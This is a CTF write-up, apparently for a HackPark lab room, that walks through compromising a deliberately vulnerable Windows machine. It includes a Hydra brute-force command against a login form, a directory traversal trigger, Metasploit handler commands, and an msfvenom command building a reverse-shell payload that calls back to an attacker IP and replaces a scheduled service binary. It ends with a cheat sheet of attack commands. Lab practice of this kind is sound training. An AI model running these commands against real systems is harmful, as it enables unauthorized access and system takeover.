Bruteforce a websites login with Hydra, identify and use a public exploit then escalate your privileges on this Windows machine!

Metadata

Tasks

Task 1 - Deploy the vulnerable Windows machine

Due to how the question is formulated - we can assume the machine is hosting a webserver. Thus we try to access it via http:

If we open the image in a new tab we can look at the name of the image to try and answer the first question - however that didn't work.

Instead we can do a reverse google search to see if we get an answer. Simply open google and press the camera icon and paste in the image:

Task 2 - Using Hydra to brute-force a login

Opening the navigation menu we find the option to "Log In". When we navigate there we will be met by the following page:

Login forms tend to be POST method due to how the web server wants to check the given credentials on the server side rather than the client side. If it were to be checked on the client side we could find the correct credentials inside the browser.

As mentioned in the task - you could also identify the method with BurpSuite. You can also use it to bruteforce the login. But for the sake of the task we will use Hydra:

hydra -l username -P /usr/share/wordlists/wordlist TARGET_IP http-post-form

To find a valid username we will use two tricks. First we go back to the website. Remember the "Welcome to HackPark" post? We can see the name of the author being "ADMINISTRATOR". However when hovering over it we get the actual username: Admin.

To confirm the username is valid we go back to the login and click "Forgot your password?". If lucky - it will give us feedback if given a correct username.

Now to cracking! However it's not quite as easy as the command given above... we need to be more specific.

The easiest way to do get the queries is to make an attempt and then copy the payload.

Now all we have remaining is to change the username we tested with to ^USER^ and the password with ^PASS^. It should look something like this:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.223.238 http-post-form "/Account/login.aspx:__VIEWSTATE=OKlc3zcX68JWsj35%2BltWY534MO8mncHfW3VpC3KUh42tGhrA6kZd8pObEMr2CFPqOrziKyI9oawPkWyX4nIbgKKb87Il5DLmGeInPT56r5bP2IVQZbzZkZatZLuOgyKWkwKEzXxvzrrmv%2FbMp72RbxkKnCWEe6p5tIBtbMzWROo7lVmNI8q8R%2Bg1djeUgZQTPUHFGJZA9%2FAIzpd1LIj7N1j1giL0unZFHPEdBDMzPCVHCf74UfZV5LQTBeQaS%2BW7gDzpic3B6J01E3NcieSwvtaQazDbkcBzzLp7JEsnGT8zoQRiExLtCO6EVn05t%2BnP3%2BnYqily3BZ4Fr%2FkyRv7lkFEV70hmBPfyOsjHzfwdjv5nSmW&__EVENTVALIDATION=MDoSroAuBhQmGk9t4vAmuVT0c8pP6i2pFaklcnxiXhYzk%2FmbPEjPfMiaCAdT8xrF7325bMDP%2FwD%2BNvH4oGezh0JEZiyZRAbL7hH1w%2BhKJECkjgjOLdLv0PPR0WY3XyU4IwixtHmbPgmZ4nRO26iANKePjP%2FBLOxb07yMkuArUgGzVJeQ&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24RememberMe=on&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed" -f

-f: Stop running on match

Task 3 - Compromise the machine

Question 1

Usually the version information can be found under "About":

Question 2

Heading over to Exploit-DB we can search on the platform together with the version and we fill find a CVE.

Question 3

To exploit the server we start off by downloading the vulnerability.

Start a handler to receive the reverse shell:

msfconsole -qx 'use exploit/multi/handler;set lhost tun0;set lport 1337;set payload windows/shell_reverse_tcp;run'

Then we have to trigger the directory traversal exploit by navigating to: http://10.10.223.238/?theme=../../App_Data/files

Now to figure out who we are - run whoami

Task 4 - Windows Privilege Escalation

Before getting to the questions - we want a better shell. We can do so by backgrounding our current shell and upgrading it in metasploit:

Question 1

Using Windows-exploit-suggester

First we need the systeminfo of the machine, do so by going into a shell and execute systeminfo. Then copy it over to a file.

cd /usr/local/bin
sudo wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py
sudo chmod +x windows-exploit-suggester.py
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
python2 -m pip install xlrd

Now try and execute the script:

python2.7 windows-exploit-suggester.py --update
python2.7 windows-exploit-suggester.py --database 2023-12-19-mssb.xls --systeminfo sysinfo.txt

Looking at the result we can find the answer to this question, as well as alternative methods to escalate privileges.

Question 2

Now we want to use WinPEAS to scan through the system for potential ways to elevate our privileges:

Now use your meterpreter to upload the binary:

upload winPEASx64.exe

I now go into a shell so that I can execute the binary - we start with the help command.

Doing so we quickly find a vulnerable service:

Question 3

If we go into the directory of the vulnerable service (C:\Program Files (x86)\SystemScheduler\) we can try and figure out how to abuse the program. A good place to start is by looking at the log files. You find them in the Events directory.

Question 4

With the information that it is a Splinterware product named System Scheduler - we can start looking at exploit.db. But instead of doing so via the website - we can use searchsploit to do it.

To replace Message.exe we generate a payload with msfvenom.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.8.68.136 LPORT=1338 -f exe -o Message.exe

Now we can simply rename the old Message.exe and replace it with our payload.

To receive the elevated shell back we also need to start a new handler and wait a short while for the System Scheduler to execute again.

msfconsole -qx "use exploit/multi/handler;set lport 1338;set payload windows/x64/meterpreter/reverse_tcp;set lhost tun0;run"

Now we can simply navigate around to collect the flags.

Question 5

Task 5 - Privilege Escalation Without Metasploit

Question 1

Ironically it is easier to do this task without WinPEAS. Simply use systeminfo.

Cheat Sheet

You can also find all of the following under the notes category.

Hydra

Website:

hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f 

Metasploit, Meterpreter & MsfVenom

Upgrade shell:

sessions -u ID

Start a listener:

msfconsole -qx 'use exploit/multi/handler;set lhost 0.0.0.0;set lport 1337;set payload windows/shell_reverse_tcp;run'

Searchsploit

Queries exploit.db Usage:

searchsploit SEARCH TERM

Flags:

Nmap

WinPEAS

Github: https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

Help: winPEAS.exe help

Windows-Exploit-Suggester

cd /usr/local/bin
sudo wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py
sudo chmod +x windows-exploit-suggester.py
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
python2 -m pip install xlrd

Python2

Note that this script is utilising python2 - thus you either need ty run it by prepending python2 (if not your standard python). Or you can change the shebang to be the path of your python2: which python2.

Now try and execute the script:

python2.7 windows-exploit-suggester.py --update
python2.7 windows-exploit-suggester.py --database 2023-12-19-mssb.xls --systeminfo sysinfo.txt

Support me

Thank you so much for reading and I hope you found it inspirational or helpful! You can best support me by doing any of the following bellow!

You can read more about the perks of being a Member or Subscriber here.

Additionally, you can stay updated and engage with me on social media: